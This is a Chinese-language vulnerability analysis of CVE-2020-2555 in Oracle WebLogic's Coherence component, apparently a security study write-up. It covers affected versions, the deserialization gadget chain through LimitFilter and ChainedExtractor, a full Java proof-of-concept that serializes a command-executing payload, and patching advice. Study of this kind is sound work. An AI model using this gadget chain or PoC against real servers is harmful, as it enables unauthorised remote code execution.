Weblogic Coherence组件漏洞初探CVE-2020-2555
字数 1288 2025-08-05 00:15:46
WebLogic Coherence组件漏洞分析:CVE-2020-2555
漏洞概述
CVE-2020-2555是Oracle WebLogic Server中Coherence组件的一个反序列化远程代码执行漏洞。攻击者可以在未授权情况下通过构造T3协议请求,利用该漏洞获取WebLogic服务器权限并执行任意命令。
影响版本
- Oracle Coherence 3.7.1.17
- Oracle Coherence & WebLogic 12.1.3.0.0
- Oracle Coherence & WebLogic 12.2.1.3.0
- Oracle Coherence & WebLogic 12.2.1.4.0
注意:WebLogic 10.3.6.0版本虽然默认自带Coherence 3.7,但未启用Coherence组件,因此不受影响。
漏洞分析环境
- WebLogic 12.1.3
- 需要将Coherence目录打包并导入IDE(如IDEA)
- 开启WebLogic远程调试功能
关键类分析
1. 链式调用相关类
ValueExtractor接口
所有实现此接口的类都包含extract方法,这是整个调用链的关键方法。
ReflectionExtractor类
实现ValueExtractor接口,其extract方法包含method.invoke调用,可用于反射调用任意方法。
示例代码构造Runtime.getRuntime():
ReflectionExtractor reflectionExtractor = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}
);
Object extract = reflectionExtractor.extract(Runtime.class);
ChainedExtractor类
同样实现ValueExtractor接口,其extract方法通过for循环遍历数组中的每个extractor,形成链式调用。
示例代码构造命令执行:
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
chainedExtractor.extract(Runtime.class);
2. 触发调用链的类
LimitFilter#toString
com.tangosol.util.filter.LimitFilter#toString方法会调用extract方法,触发调用链。
关键点:
this.m_comparator需要转型为ValueExtractor并赋值给extractorextractor.extract(this.m_oAnchorTop)被调用
触发条件:
this.m_comparator设置为chainedExtractorthis.m_oAnchorTop设置为Runtime.class
BadAttributeValueExpException
在readObject方法中会调用toString方法,可用于触发LimitFilter的toString。
完整调用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
LimitFilter.toString()
ChainedExtractor.extract()
ReflectionExtractor.extract()
Method.invoke()
Class.getMethod()
ReflectionExtractor.extract()
Method.invoke()
Runtime.getRuntime()
ReflectionExtractor.extract()
Method.invoke()
Runtime.exec()
POC构造
package com.yyhuni;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class POC1 {
public static void main(String[] args) throws Exception {
String cmd = "calc";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
// Linux系统使用:new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash","-c", cmd}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
BadAttributeValueExpException BadAttribute = new BadAttributeValueExpException(null);
// 设置m_comparator为chainedExtractor
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
// 设置m_oAnchorTop为Runtime.class
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
// 设置BadAttribute的val为limitFilter
Field val = BadAttribute.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(BadAttribute, limitFilter);
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(BadAttribute);
objectOutputStream.close();
// 反序列化触发
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
}
修复方案
-
临时解决方案:
- 禁用WebLogic T3协议
-
官方补丁:
- 安装Oracle官方更新补丁(需要登录Oracle账户下载)
注意事项
- 不同WebLogic版本中的Coherence组件可能有所不同,可能导致POC无法通用
- 实际利用需要通过T3协议发送序列化后的POC
- 在WebLogic 12.1.3环境中测试时,需要确保Coherence组件版本匹配